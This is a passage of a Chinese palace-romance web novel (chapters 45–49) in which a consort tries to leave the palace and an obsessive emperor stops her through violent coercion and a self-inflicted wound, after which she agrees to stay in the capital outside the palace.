她迟疑着直起身子,抬起头仰视裴承珏,只觉裴承珏巍巍身躯如座小山,要死死地压住她了,面色顿时浮出惶然。 绚丽烟火已散尽了,天幕黑沉,廊下宫灯散下光亮,映出裴承珏一张冰霜面容。 冷风吹红了他的双眸,紧抿薄唇勾出讥诮笑意,“惠贵妃怕什么?” “你以为朕会挽留一个厌了的女人?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 45-50 第46章 袖中血珠啪嗒着相继落下。 血腥味浮于空中。 乔棠倏地垂颈,睫羽连颤,意识到裴承珏伤了自己掌心,心头如浸水棉絮,沉沉的。 原来裴承珏已怨恨她到这种地步了。 可是—— 两人这段缘分,究其根本,是裴承珏强留她在宫中,她无力反抗,遂哄骗裴承珏。 论起对错,两人都有错,裴承珏既已厌弃她,也允她出宫,就表明愿意结束这段缘分。 她也理清了头绪,这段缘分如浮光掠影袭过心头,又如泡沫消散。 她来时心中空空,去时也是心中空空。 这已是两人间最好的结果了。 这般想着,乔棠心头变得轻快起来,只是闻得鼻尖血味,胃里忽翻江倒海般,一股苦水直往喉咙里冒,几欲要呕出来了。 她竭力忍着,低首轻言,“臣妾谢陛下放行。” 脚步声骤地响起,匆匆地远去了。 乔棠再也忍不住,踉跄着起身,扶着廊柱吐了一回苦水,过后仍觉喉头发紧,胃里翻滚得厉害。 宫人闻声疾步过来扶住她,要召太医,被她摇头拒了,“适才喝药导致,无有大碍。” 她不爱喝药便是因这个,喝了胃里不舒服,她被宫人服侍着饮了温茶,胃里方舒服些。 她沉沉睡了一觉,翌日醒来精神尚好,洗漱过后决定今日便出宫去。 她遂去寝殿看了一遍,发现先前从冀州带来的东西全被裴承珏带走了,她已没什么好带的了。 这样也好,只身出宫。 正欲离开, 忽想起什么,转身去榻间枕头下翻出一枚簪子,这还是夏日住在行宫时裴承珏为她买的。 她拿着去了镜台前,将这枚簪子放在首饰匣中,耀眼珠翠中,这枚素净簪子黯淡无光,格格不入。 以为是物归原主,原来也不过是放错了地方,乔棠迟疑片刻,还是提步离开了。 这枚簪子委实不该在宫中,可也不属于她。 她只身来到宫门前,命宫人打开宫门,慢慢迈步出去,迎来一众侍卫的围堵。 王统领躬身行礼,“若无陛下命令,贵妃娘娘不得出宫,还请娘娘回去。” “昨夜陛下已许诺本宫可以出宫。” 乔棠下了台阶,径自往前行,侍卫们一时无措,眼睁睁看她行了四五步。 王统领急地拦住她,谨慎道,“属下并未接到陛下旨意,还请贵妃娘娘回去。” 侍卫们一听,齐齐上前,又将乔棠堵回了宫门前,乔棠也不好闯过去,只道,“那请统领速去勤政殿问陛下旨意。” 王统领见她去意果决,话里真有陛下同意之意,也不敢耽误,应声后速速赶往勤政殿。 宫人过来劝乔棠回宫歇着等,她摇摇头,只立在冷风中等着。 好在没等多久,王统领回来了,她眼中一亮,却听王统领道,“今日陛下陪太后娘娘去永安寺上香了,需得下午方回,还请娘娘回宫等候旨意。” 乔棠眉尖一拧,真是不巧,又见王统领及一众侍卫临阵以待,无奈地转身进了宫门。 “待有了陛下的消息,王统领及早告知本宫。” “是!” 永安寺大殿中,僧侣分列两侧坐禅,低低颂经,缕缕佛香袅袅,薄雾似地飘向殿宆,笼于佛像周身。 太后在主持侍奉下上香,裴承珏立于最前方,目光掠过庄严佛像,漫不经心地低首,眸中翻涌着无尽懊悔。 他昨夜怎能对姐姐说出那样的话! 他怎可能放姐姐出宫! 便是离了姐姐一日,他也是不行的,他恨不得回到昨夜,将那话吞回肚子中,不管不顾地抱住姐姐。 什么魏清砚,统统都滚一边去! 什么爱不爱的,也没那么重要,姐姐不爱他也可以的,他好好爱姐姐就好了。 只要姐姐不走就好。 他越想越悔,只想马上奔回宫中,但不过转个身的功夫,他又迟疑起来,若是姐姐信了昨夜的话,执意拿这话堵他,怎么办? 本就是怕这个,遂一大早躲到这寺庙来,倘若回去了,岂不是叫姐姐逮了去? 他面色变换太快,眉宇间又气又急,甚至还有点害怕,俨然一副痴态,直惊了太后。 太后面色一沉,心中断定他在想乔棠,又气起乔棠,若不是这个狐媚子,她儿子也不会露出这番痴态! 太后转身又上了一柱香,心中念念有词,这次也不求佛祖别的,就只求乔棠及早、干净地消失在她儿子眼前。 上完了香,她转头一瞧,但见裴承珏也在上香,心头一震,他可别是求佛祖让他和乔棠消除怨愤,日后恩恩爱爱吧。 这般一想,太后马上思索起乔棠离宫的法子,眼下乔棠虽被禁在太极宫,但也不是没有办法出来。 她是豁出去了,只要能把乔棠弄出宫去,哪怕日后裴承珏再怎么怨她,她也认了。 一出大殿,她就笑道,“陛下,惠贵妃前阵子择好的画像,哀家也看了,惠贵妃眼光好,挑选的姑娘都甚为合适,不妨除夕过后,便叫这些姑娘进宫,让陛下见见。” 不提这个还好,一提更是叫裴承珏心堵,裴承珏步子一顿,这糟心事该怎么和姐姐解释呢! 他并无应声,太后趁机道,“到时也让惠贵妃见见,原是她选的人,她也该给陛下掌掌眼。” 裴承珏心头只顾着怎么躲乔棠,也没在意她说了什么,还是没回应。 太后眼珠一转,不反驳就是同意,她笑道,“陛下既然同意了,那哀家就按陛下旨意办了。” 裴承珏忽地有了动静,“母后且先回去,朕稍后再回。”也不容太后质疑,直接命宫人送太后回宫,他自己则去行宫躲了一日。 乔棠等了一日,直等不来他回宫的消息,心头浮出烦躁,晚间喝药时又吐了个干净。 宫人欲言又止,但见她罕见地冷着容色,也不敢多言,只服侍着她睡下了。 次日依旧如此,据王统领所言,裴承珏一直在忙,新年确实事务繁多,乔棠也不好说什么。 直至除夕,王统领告知她,裴承珏一早领着朝臣祭天去了,她更无法催促。 这一日,裴承珏要忙的太多了。 乔棠从早到晚,只能看着宫人为除夕忙碌,心间慢慢地溢出绝望。 天子的后宫何等残忍。 只要裴承珏不愿意,她就只能眼巴巴等着,由不得自己一分。 何其不公平。 而这种等待的煎熬滋味,她受不了了。 太极宫灯火璀璨,金碧辉煌,流光溢彩的装点下,映出窗前乔棠冷绝的一张脸。 她一定要出宫,一定要。 这般想着,耳边响起了除岁的爆竹声,她猛然意识到,新年了,新的一年来了。 这真是她有生以来过得最差的一个新年了! 慢慢地,她的眼眶红了,再也抑制不住地起身,恼得抬袖,几下拂掉长案上的书卷。 书卷纷纷跌落在地,她却纤肩抽动,泪珠直落,天杀的裴承珏,欺负她一个无力反抗的人! 窗外,天幕上又绽放出了绚烂烟火,撒下丝丝火光,如点点夜星坠落。 乔棠的泪越落越多,直直坠在书卷上,很快打湿了书卷。 她已顾不得了,慢慢俯下身子,膝盖落在书卷上,径自哭得伤心。 倏地一只手掌伸来,接住了泪珠。 乔棠这才惊觉有人进来了,她抬起满是泪水的脸颊,看见裴承珏一张倦容。 裴承珏眸中血丝根根分明,显然是累极了,他收起手掌,屈膝跪在乔棠身前,声音少了许多气力,“哭成这样,是不是还在心里骂朕?” 乔棠恨恨道,“是!” 她一抹眼泪要起身,裴承珏伸手拽住她,一把揽她在怀中,她当即挣扎起来,“请陛下给臣妾一道出宫的圣旨!” 若搁往日,她哪里会这样强势,属实是等了几日,气上心头,又恐出不去了。 焦急惶恐夹击下,让她失控,她奋力推开裴承珏,发觉推不动,捡起书卷就往裴承珏身上砸去。 “陛下莫非要言而无信!” 裴承珏受着,抱着她不松,面上倦色更重,心间只道,只要姐姐不走,言而无信算什么,让他当着全天下人的面收回那夜的话,他也愿意。 他抱起乔棠上了床榻,在乔棠奋力挣扎时,唇角翕动,声线沙哑,“姐姐,对不起。” 乔棠动作一顿,顿时被他得了机会,他将乔棠抱在身下,脑袋埋在她的颈窝。 “朕两夜没合眼了,姐姐可怜可怜朕,除夕夜就让朕睡个好觉,好不好?” 乔棠眼睛通红,冷冷道,“好是好,先给臣妾道出宫的圣旨。” 她记得这几日的煎熬,寸步不让,察觉裴承珏身子一僵,她冷笑一声。 她推了裴承珏起身下床,叫宫人进来,对着裴承珏道,“那夜只陛下与臣妾两人,无有人与臣妾作证,眼下宫人在此,请陛下下旨,允臣妾出宫。” 那宫人骇得伏地而跪,什么都不敢听,也不敢看,裴承珏慢慢坐起身,半晌笑了起来,“姐姐真要她听?” 那宫人浑身冷颤,只道,“请贵妃娘娘饶命!请贵妃娘娘饶命!” 乔棠惊骇地望着裴承珏,裴承珏望过来,倦极的面色浮出微笑,温柔地征求她的意见,“姐姐,让她退下,好不好?”—— 作者有话说:晚上11:00还有一更。 第47章 宫人还在 不住地求饶。 乔棠又怎忍心牵连到她,挥袖让她退下后,冷冷地注视着裴承珏。 裴承珏贵为一朝天子,自可以为所欲为,若真言而无信继续囚她在宫中,她亦无任何法子。 乔棠一时气竭,不想言语。 裴承珏学老实了,甘愿受着她的冷脸,心中存着奢望,只要姐姐还愿意理他,姐姐日日冷脸也可以,何况姐姐的冷脸也极好看。 他想得很好,试图再去抱乔棠,被乔棠闪身避开,只得牵住乔棠衣袖,低低言语,“姐姐,前阵子都是朕不好。” 他想认错道歉,可乔棠没有给他机会,决绝地拂开他的手,“若不是出宫旨意,陛下就不必开口了。” 乔棠转身即走,步履飞快,步到自己宿着的寝间,反手将房门紧闭,直将追过来的裴承珏堵在了门外。 裴承珏急切地想去推门,袖子抬起又迟疑着落下,还是少做让姐姐生气的事吧。 他抿紧薄唇,转身倚着房门,也不走了,只抱臂守着,守的时间长了,慢慢阖上了双眼。 宫人已被禁行,无人敢靠近这里。 房里的乔棠躺在榻上,头脑已然冷静,思索着目前处境,裴承珏不可能放她出宫,且瞧他模样,似乎回到了先前痴缠她的状态。 也不知在发什么疯,这很不妙。 指望裴承珏放她出宫,已不可能了,眼下她已让裴承珏同意择妃,应去找太后履行约定了。 想必太后也已迫不及待让她出宫了,她越想越觉还有生机可寻,且睡一觉,养足精神吧。 翌日醒来出门,方一打开门,靠门而睡的裴承珏瞬时跌落,上半身倚在了她的腿上。 她惊得正欲后退,裴承珏已然醒了,耍赖似地拿双臂抱住她的腿,扬起脑袋冲她一笑,“姐姐醒了。” 眉眼舒展,鲜活热烈。 乔棠被这笑容晃得失神一瞬,继而冷下眉眼,实在想一脚踹开他,又苦于他的身份,只恨恨甩开他,砰一声关了房门。 裴承珏的脸险些被门砸到,他也不在意,笑了笑,起身叫宫人过来服侍乔棠,自己去洗漱换衣。 待将自己收拾干净了,他又来见乔棠,乔棠俨然还是副冷脸,他却欢喜地看过来,好似乔棠给了他多大的奖励。 乔棠只觉他在发大疯,脸色越发冰冷,他果真毫不介意,陪着乔棠用了早膳。 膳罢,乔棠本不欲搭理他,见他如影随形,处处温柔,心里不免冷笑,既然他这般疯态,自己也只好再骗他一回了。 于是乔棠顰眉道,“陛下今日应有许多事做,怎还迟迟不去勤政殿?” “朕前两日已将事都忙完了,今日空下来,姐姐若有想做的事,朕可以陪姐姐做。” 裴承珏笑着望来,乔棠遂道,“臣妾想出去走走,陛下也允许?” “自然允许。” 裴承珏当听不出她的怨气,想要牵着她的手出太极宫,被她躲开了。 裴承珏暂且放弃,两人一起出了太极宫,往御苑去。 天还冷着,御苑里腊梅开得正好,乔棠目光掠了几次,兴致缺缺。 裴承珏在旁失望,姐姐先前喜腊梅,他特地命宫人栽了许多,却得不来姐姐青睐。 也显得他不会体察姐姐心意了,他挽救道,“姐姐若不喜腊梅了,朕即可命人刨了移栽其他的,姐姐现今喜欢什么?” 乔棠目光已瞥到素兰姑姑来了,心下一喜,她料想一出太极宫,太后也应得到消息了,若太后有动作,应派素兰姑姑来传信。 素兰姑姑果然来了。 她收回视线,瞥了眼认真询问的裴承珏,随口道,“陛下多虑了,臣妾仍喜腊梅。” 原来他还是有眼色的,裴承珏不禁笑起来,目光闪过一簇迎风而颤的梅花,抬步而去。 正好给了乔棠机会。 素兰姑姑已到了跟前,向乔棠行礼,乔棠扶她起来,闲聊几句后,素兰姑姑不疾不徐地离去了。 乔棠再抬眼时,裴承珏手中拈着一枝梅花过来,将梅花递予她,她顺手接过,“臣妾乏了,想回去了。” 裴承珏没有不应她的,带她回了太极宫,及至宫门前,乔棠看见成排侍卫,终究气不过,随手将那梅花丢在了台阶上,进门去了。 裴承珏目光一闪,俯身捡起来,也不恼,手指轻轻摩挲着颤动花瓣,如抚过乔棠的双唇。 心念一动,好久没吻姐姐了。 他撕下花瓣含进唇里,追上去抓住乔棠的胳膊,将始料未及的乔棠转过身,吻上了她的唇。 乔棠被吻得呜咽,一股芬芳馥郁的气息充斥口中,她闻得是腊梅花气味,气急败坏地一把推开裴承珏,转身即走。 裴承珏笑着看她忿然远去。 乔棠一路回了寝间,关上房门,从袖中翻出素兰姑姑给她的信,拆开细细看完,长长呼了口气,成了,只需等太后动静即可。 又过了几日,正值春寒料峭,宫中传出了陛下选妃消息,朝臣又惊又喜,总算要打破陛下沉迷惠贵妃,专宠惠贵妃的局面了。 裴承珏听罢面沉如水,疾步回了太极宫与乔棠解释时,面色已是无限懊悔。 “姐姐,朕并非是真的要选妃,是先前朕气不过姐姐不爱朕,脑子糊涂了……” 其余解释都在乔棠的冷脸下被裴承珏咽回了喉咙。 乔棠只道,“无论陛下想不想选妃,事已至此,陛下总得去一趟,也好给太后娘娘一个交代。” “还是说,陛下对臣妾选的姑娘不满意,故而不想去?” 乔棠微微一笑,带着讥诮。 然无论什么样的笑,她总归是对着裴承珏笑了。 裴承珏近日难求她一笑,乍然一见,心神为之一荡,“姐姐叫朕去,朕就去。” 乔棠有些吃惊,原来连费心哄骗都不必了,她只需要说话,裴承珏就照做了。 她遂当着宫人的面再道,“明日陛下行过籍田礼,回宫且去太和殿瞧瞧臣妾选的人,臣妾会在那里等着陛下。” 言罢再度绽放出一抹嫣然笑容,裴承珏脑中哪还有细想的理智,只一味颔首应下,“那姐姐等着朕。” 只是去瞧一瞧而已,到时他一个不选,莫说母后,连姐姐也休想叫他屈服。 翌日裴承珏带着朝臣前往皇庄行籍田礼,乔棠自他离开就等着,等了约莫三刻钟,带着一位宫人出了太极宫。 自是被王统领拦住了,素兰姑姑到的及时,传了太后的懿旨,“今日陛下选妃,陛下曾有言,命惠贵妃先去太和殿候着。” 王统领迟疑。 乔姑娘道,“陛下昨日是提了一次。”瞥了一眼宫人,宫人昨日听得清晰,“陛下确然命贵妃娘娘在太和殿候着。” 王统领遂放乔棠出了太极宫,乔棠由素兰姑姑领进太极宫,换上宫女服饰。 太后并未出面,只让素兰姑姑传话道,“乔姑娘只需出城前行,莫要耽误时间。” 乔棠应下,被素兰姑姑送上马车,马车一路前行,畅通无阻,只管疾驰在道上。 一出皇城,乔棠长长地松了口气,掀开车帘,浸在风的冷意中,笑了起来。 这厢太和殿,素兰姑姑进来向太后禀报乔棠已出宫了,太后满意颔首。 此时殿中立满了待选姑娘,她望着最前面的顾玉清,心头可算轻松了。 不管是柳荷曦,还是顾玉清,势 必不会让儿子沉迷,儿子自可以再做先前那个醉心国事的圣明天子。 素兰姑姑担忧低语,“若是陛下回来发现惠贵妃不在,执意去追?” “不会。”太后垂目,只要儿子进了殿,她自有法子拦住儿子不去追乔棠。 乔棠坐着马车已到了街上,她命驾车宫人先拐去一座宅院。 还是她先前买的那座,乔家的丫鬟小厮还在宅院里,她得带着丫鬟小厮一起走。 没成想在宅院前碰到了魏清砚与静仪郡主。 两相惊讶下,乔棠不欲耽搁时间,先让仆人备好另一辆马车,叫仆人上了马车等着,她自己与魏清砚和静仪郡主讲明缘由。 静仪郡主道,“惠姐姐一人出城,我不放心,不若让我和魏编修送送姐姐。” 乔棠应下,在车里讲话也更方便,她遂让静仪郡主上了马车,示意魏清砚去另一辆马车。 魏清砚恪守身份,微微一笑,端的是再不表露任何情意,转身却是驾车去了。 乔棠一笑,也上了马车。 马车慢慢驶出城门,往郊外行去,静仪郡主这才讲明在乔家宅院遇着乔棠的缘由。 原来魏清砚在街上无意遇见乔家丫鬟,这才知乔棠的几个仆人也在京中住着,自是知了,便时不时关照几分。 眼看静仪郡主与魏清砚婚事将近,便是假成亲也需备齐婚仪,遂两人一起上街买些东西,做做样子而已。 恰巧遇上乔棠丫鬟,魏清砚便将实情与静仪郡主讲了,静仪郡主一听是乔棠的人,也觉应多关照,遂同魏清砚一道去了宅院。 乔棠听罢笑了笑,静仪郡主真有一片良善之心,便是知晓她与魏清砚过往,也依旧待她如初。 她摸了摸静仪郡主的脑袋,静仪郡主笑道,“若是我能与魏编修早成婚,就可以和惠姐姐一起去冀州了。” 乔棠笑道,“我且先回去,在冀州等你们,也十分不错。” 静仪郡主狠狠点头。 就在此时,马车猛地一顿,车厢剧烈颠簸,乔棠护住静仪郡主,温言安抚,“无事,兴许是马儿被什么绊到了。” 忽闻车外一阵凌乱脚步声,她瞥了眼颤动的车帘,心头骤然浮出一个可怕猜想,容色倏地一沉。 不可能的! 太后分明说了,她会拦住裴承珏,只要她出了宫门,就自由了。 很快车帘被两根修长手指夹起,一道熟悉的声音传来,直叫她心头狂跳,面上血色褪个干净。 “姐姐,下车。” 那声音并无怒气,压抑得很,“否则朕即可杀了魏清砚。” 车帘掀开,冷眸瞥见被乔棠抱在怀里的静仪郡主,声音一沉,“原来还有裴静仪——” “那就连裴静仪也一块杀了。” 第48章 乔棠悚然,脊骨阵阵发凉。 他在说什么混账话,一个是他表哥,一个是他堂妹,他还真要弑亲不成! 静仪郡主惊惧瞠目,身子瑟瑟打颤,乔棠顾不得自己,抚了抚她的脑袋,“别怕,陛下在吓郡主而已。” 声线浅柔,入耳熨帖,静仪郡主转瞬安心,搂紧了她。 车外随即传来一道冷斥,“裴静仪,从姐姐怀里滚出来!” 静仪郡主花容失色,恨不得立即扑出车外,乔棠见状索性稳住心神,带她下了车,将她护在身后,抬眸望向前方。 郊外车道已被隔了十来步的御林军围了,魏清砚被押下马车,双膝跪地,上身直直立着,一个侍卫将刀架在他的脖颈,端的是要杀了他的准备。 他并无害怕,神色端肃,抬眸对上乔棠视线,微微笑了笑,大抵是要安慰乔棠:他若真死在裴承珏手里了,也没什么的,他愿意的。 乔棠不忍,别过视线望向裴承珏,秀眉骤冷,海棠滴露般的柔艳容色凝上冰霜。 裴承珏已将她和魏清砚的视线交集看个干净,一张俊容竟无半分波澜,唇角纹丝不动。 看模样,他是既无笑意,也无恼色,只如铁板一片,目光定定地望着乔棠冷脸。 不肯露出一丝心痛:姐姐温柔地抱裴静仪没关系,下车先关心魏清砚也没关系,冷脸看他更没关系,只要姐姐不走,什么都好说。 他的目光扫了一眼静仪郡主,两个侍卫当即要去抓静仪郡主。 乔棠挡在静仪郡主前,还未张口,裴承珏眸光一扫魏清砚,话却是对乔棠说的,“姐姐尽管拦。” 霎时间侍卫行动,手起刀落,但听静仪郡主一声凄骇尖叫,刀刃削下魏清砚的五根手指。 鲜血四溅,手指根根滚落,魏清砚疼得面容扭曲,牙齿死死闭着,不肯泄出一声惨叫。 乔棠俨然被惊住了,身形一晃,靠着静仪郡主才没跌倒在地,眸中还残留血液溅出那一幕,胃部翻江倒海似的绞着,直叫她呕出一口清水。 “惠姐姐!” 静仪郡主一声哭腔,叫她竭力扯回神智。 她拿袖口拭掉嘴边水迹,抬头去望裴承珏,“魏清砚乃是镇国公之子,静仪郡主也是襄王爷女儿,陛下当真绝情到不顾血缘亲情,伤害这两人?” 裴承珏只道,“姐姐不舒服,应跟朕回宫歇息。”示意侍卫将静仪郡主押向一侧。 乔棠已无力抵抗,眼睁睁看着静仪郡主被带离她的身侧,她勉强站稳身形,心头绝望之际,竟真生出一股恨意。 太后拦不住裴承珏,镇国公和襄王爷也不能叫他有所收敛,至于朝臣,那个先前在早朝痛斥乔棠惑主的都察院臣子,险些被他一脚踢死了。 整个朝堂,整个后宫,没有一个人能压得住裴承珏了,他就是真杀了魏清砚与静仪郡主,镇国公府与襄王府也只能跪在他的脚下受着。 而导致这一切的症结竟在自己身上。 此情此景,她难道忍心看着魏清砚和静仪郡主再被伤害么? 裴承珏分明看准了她这一点,才拿这两人威胁她,叫她束手无策。 忽听裴静仪又一道凄叫,她霍地去看魏清砚。 刀刃毫不留情地劈向魏清砚手腕,已然快将魏清砚手腕斩断,血液流淌一片。 魏清砚忍受剧痛,又失血过多,泛白面上淌下道道冷汗,整个上身都在发抖。 乔棠唇瓣哆嗦,恨恨地望向裴承珏。 裴承珏面上不见半分波动,“姐姐若即刻应下回宫,他这手还接得上。” 他的心怎这般硬! 乔棠报复似地反唇相讥,“镇国公不会原谅陛下了,陛下再没有舅舅了。” 裴承珏向来看重长辈,此刻面上无动于衷,无情无绪道,“姐姐若觉一个舅舅不够,朕还可以不要皇叔。” 胁迫之声顿了一下,竟冲乔棠掀唇一笑,俊眉恣睢,透出一股无法无天的蛮横。 “端看姐姐忍不忍心了。” 乔棠猛地阖目,惊惧愤恨包裹的心腔不停颤粟,内心深处压抑着怒火陡然翻滚出来。 再睁眼时,眸中一片狠韧,“我有什么不忍心的?我不过是冀州一个孤女,没了爹娘,身边只一个嬷嬷,也被陛下赶走了。” 魏清砚尚且有镇国公府,静仪郡主也有襄王爷,她有什么呢? 她形单影只,还想护魏清砚,护静仪郡主,她且可怜可怜自己吧。 乔棠抬步,慢慢向裴承珏走去,目光里的怨恨那么浓郁。 裴承珏迎面受着,眼神沉沉,面颊绷得紧紧的。 两道视线交缠,都不带半分暖意。 乔棠立在裴承珏面前,扬颈怨愤道,“天底下那么多姑娘,陛下偏偏欺负我,逼我至此种地步!” 裴承珏唇角一抖,变了面色,却是一片茫然,甚至还有些许无辜。 什么叫欺负姐姐? 他分明爱极了姐姐,不舍姐姐离开,可姐姐看起来却恨极了他。 他眉头狠皱,试图纠正乔棠说法,“姐姐错了,朕喜欢姐姐,从未想过欺负姐姐。” 他说罢满眼怜爱,伸开双臂,要抱乔棠入怀。 乔棠眸光一闪,迅疾地伸手,抽了身侧侍卫腰间长刀,横在自己脖颈,冷笑一声,“喜欢我就该放了魏清砚,放了静仪郡主,放了我!” “惠姐姐不要冲动!” 静仪郡主惊慌哭叫,裴承珏面如寒霜,侧目冷斥一声,“再叫割了你的舌头!” 静仪郡主霎时噤声。 裴承珏看向乔棠,抿紧薄唇,抬袖时手指都在颤动,柔和下来的嗓音微颤,“姐姐 不要胡闹,快把刀放下来。” 乔棠讥诮道,“被陛下欺负至此,不若即刻死了。” 她退了两步,冷漠地拒绝裴承珏靠近,微一使力,刀刃割向脖颈,泄出一条血线。 “朕这就放了他们!” 裴承珏焦灼地抬袖,示意押着魏清砚和裴静仪的侍卫松手。 裴静仪得了自由,当即哭着跑向魏清砚,也顾不得害怕了,从地上捡起魏清砚手指。 乔棠不忍再看,调转视线冷冷道,“送两人回城,救治魏清砚。” 裴承珏紧紧盯着她,依言照做。 魏清砚与静仪郡主很快远去了,裴承珏试图靠近乔棠。 乔棠再退一步,提出最后一个要求,“陛下回城择妃,我出京去,再不相见。” 裴承珏步子一顿,毫不犹豫地摇头,“朕不会择妃,朕只要姐姐。” 乔棠不言,手下使力,血线深了,沁出血珠,自白膩脖颈滚落,刺得裴承珏双目瞬时红了。 可他还是不同意,面上浮出浓浓心疼,也有委屈,“朕只要姐姐!” 疼痛让乔棠眼前一花,没来得及后退,已被裴承珏扑到眼前。 她死死地握着刀,未有松手迹象,裴承珏不敢抢夺,双膝一弯,跪到乔棠腿边,仰起脸颊,双眸红通通的,害怕地恳求。 “姐姐把刀给朕,我们好好说,好不好?” 乔棠再不会被他这骤然乖巧的模样蒙蔽双眼,他适才多么无情、多么混账,她都记得清清楚楚。 曾经在宫中等裴承珏消息的煎熬滋味,她也记得清清楚楚,她绝不会放弃这次机会,再回宫去。 裴承珏见她果决至此,急得一手牵住她的衣袖,“朕把王嬷嬷还给姐姐,好么?” “朕不要魏清砚和裴静仪成婚了,就叫他们在京中陪着姐姐,可以么?” “朕再也不动魏清砚了,姐姐要是想见他,尽管见,朕绝不嫉妒他。” “以后姐姐要做什么,朕都答应姐姐。” 他一下做出了许多许诺,乔棠听得清晰,眨眼忘净,知晓他威逼不成,在利诱而已。 她不信这其中每一个字。 她垂下视线,直视裴承珏泛红双眸,当他的可怜恳求不存在,一字一句道,“放我出京!” 裴承珏看着她决绝的容色,半晌摇头笑了起来,“看姐姐受伤,朕实在心痛。” “可朕还是不能放姐姐走。” 他直起上身,抬袖伸出一掌,一个侍卫躬身过来,将手中长剑放在他手中,再躬身退下。 乔棠尚不知他要做什么,他朝乔棠弯眉一笑,眸色癫狂至极。 “不若朕先死了,那姐姐自可离去。” 乔棠眸子瞪大,心跳骤停一瞬,再跳动时,胸膛剧烈鼓动出阵阵惊恐,他又在发什么疯! 但见裴承珏一手握剑,剑尖毫不犹豫地直朝心脏刺去。 乔棠整副身子都在发抖,心念疾转间,手中长刀掉落,一只手飞快地推了下眼前长剑! 噗嗤一声,剑尖偏离心脏,直戳进裴承珏胸前,裴承珏却面不改色,直勾勾地盯着乔棠。 乔棠面如金纸,手脚俱软,一下跪在裴承珏面前,竭力叫了一声,“还不快拦着陛下!” 然无有裴承珏命令,四周无人敢动。 裴承珏看着她害怕,看着她焦急,启唇才笑了一声,嘴角流下血线,他用另一手抹掉,猛地拔出长剑。 鲜血溅了乔棠一脸,温热血腥,直叫乔棠余生再难忘却。 她伸出颤动的手,捂住裴承珏流血的伤口。 眼看裴承珏疯掉一样,还想再刺自己,她惊声再叫,“人呢!还不快过来救陛下!” 仍无人敢上前,只有乔棠一把握住那长剑,想夺过来,裴承珏笑着握得更紧了。 双方绞着,她看着裴承珏惨白面色,心间凄然,她这是惹了一个何其狠绝的人啊! “我……可以退一步!” 裴承珏眸子一亮,手劲一松,被乔棠得了机会,夺了长剑扔在地上。 乔棠目光坚决,“我不会回宫,可也不会离京。” “陛下可同意?” 第49章 为防裴承珏得寸进尺,她狠心松手,也不管裴承珏伤口还在流血,起身欲走。 “朕同意,姐姐别走!” 裴承珏只有见好就收,一手极快地攥住了她的裙角,不叫她再动一步。 可迅疾动作扯动伤口,胸前血液急流,惨白容色也如金纸骇人,乔棠真恐他没了命,冷声催促,“还不快叫人来!” 裴承珏这才望了一眼御林军,御林军训练有素,早已派几人去城里找大夫了,不过片刻,那几人就抓着几个大夫赶回来了。 几个大夫战战兢兢地围着裴承珏处理伤口,所幸并未刺中要害,没有性命之忧,可也足以让裴承珏吃苦头了。 裴承珏丁点不怕,疼就疼了,又没死,还能让姐姐留了下来,怎么看都是好事一桩。 他专心攥着乔棠裙角,扬颈盯着乔棠,满意地勾唇笑了笑,眸底漾着温柔。 乔棠瞥见这笑,心里骂他数声,血都快流尽了,还有力气笑! 他竟一下笑出声来,“姐姐想骂朕,尽可骂出来,不要委屈地在心底骂了。” 又牵动了伤口,大夫们惊呼之下手忙脚乱,乔棠瞬时冷斥,“别再动了!” 裴承珏听话地老实下来。 待用了药,包扎好了伤口,坐上马车,他一伸双臂想揽住乔棠,乔棠闪身坐到对面去了。 他抿紧薄唇,失望地将上身倚向车壁,分明伤得极重,目光仍带着极重的侵略力度,扫过乔棠浑身上下,简直像将乔棠吻了一遍。 乔棠受不住了,心生恼意,可眼下到底没个能管住他的人,便是太后也摁不住他,他真是又混又疯了。 乔棠只有容色更冷,才能遏制住他那肆无忌惮的视线,“陛下撇下待选姑娘们过来,太后娘娘定生气了,不若即刻回宫安抚太后娘娘。” 她再不管裴承珏择不择妃了,此事已与她无关了,只想寻了理由催裴承珏回宫,裴承珏却误会了,“无论姐姐说多少遍,朕都不会择妃。” “朕曾言过,此生唯要姐姐一人,绝不更改。” 乔棠近在眼前,他却不能碰,不能抱,委实是种煎熬,他只能探身过来,屈膝跪在乔棠脚下,小心地攥住乔棠衣袖喊,“姐姐。” 他求爱的模样很是可怜。 乔棠心肠此刻是冷的,浑然不动,分明先前裴承珏怨愤她,眼下又痴缠她,可谓极度善变。 “陛下不恨我欺骗陛下了?” 她讥诮地勾唇,只求冷嘲热讽下,裴承珏赶紧卸下这股痴缠劲儿,两人就此分道扬镳。 不想裴承珏痴念更重,拿她的衣袖贴向自己脸颊,眸色眷恋。 “以前是朕不知好歹,叫姐姐伤心了,日后朕让姐姐接着骗,好么?” 他太想念没有戳破虚假情爱之前的日子了,那时乔棠还会吻他,说喜欢他,他好快乐,不像现在,拿剑捅自己都得不来姐姐好脸色。 乔棠震惊,哪有找着受骗的,她登时没了声儿,裴承珏不依不饶,望着她笑,“姐姐不知晓么,姐姐骗得越狠,朕越爱姐姐。” 乔棠心口震颤,他真是脑子坏掉了! 她暗暗呼了口气,抽出衣袖甩开裴承珏的手,一脚格开两人距离,以示两人再无瓜葛。 “陛下,我已出宫,再不是惠贵妃了。” 她看着裴承珏眸色晦暗下来,一字一顿,将话说清楚,“我会在京中住下,可这都与陛下无关了。” “以上陛下皆已同意了,日后还请陛下好好理政,不必 再来见我。” 裴承珏竭力克制自己,身子后撤一步,他怕离得太近,忍不住扑上去亲吻乔棠,好堵住那双说出绝情之语的唇。 心间翻滚着欲念,望向乔棠的目光十分诚恳,“朕可以不求姐姐回宫,但不能不见姐姐。” 手指再度攥紧乔棠衣袖,低垂视线将袖上花纹看了一遍,他不敢抬头看乔棠,只能低头道,“这对朕太难了,姐姐真要这么狠心?” 乔棠还有更狠心的,“我对陛下真无半分喜欢!” “陛下还是莫要强求,另觅他人吧!” “朕就要姐姐!” 裴承珏霍地抬头,只觉浑身都在疼,心脏在疼,胸前伤口疼,脚踝也在疼。 他的眸子霎时红了,“姐姐不爱朕也没关系,朕好好爱姐姐就好了。” 他见乔棠毫无波澜,生恐真连她的面也见不到了,一时急道,“姐姐与魏清砚不做夫妻了,还能见魏清砚,朕和姐姐先前和夫妻也没什么区别了,为什么姐姐就不见朕了?” 这不公平! 他气急败坏,却被乔棠抓住了突破口,乔棠慢慢哦了一声,似笑非笑,“魏清砚是我的前夫,我拿他当故交,仅此而已。” 马车停在城中那栋宅院前,乔棠起了身,在裴承珏愕然目光中笑道,“陛下说得对,是我思虑不周了,往后陛下也应和魏清砚一样,都是故交而已。” 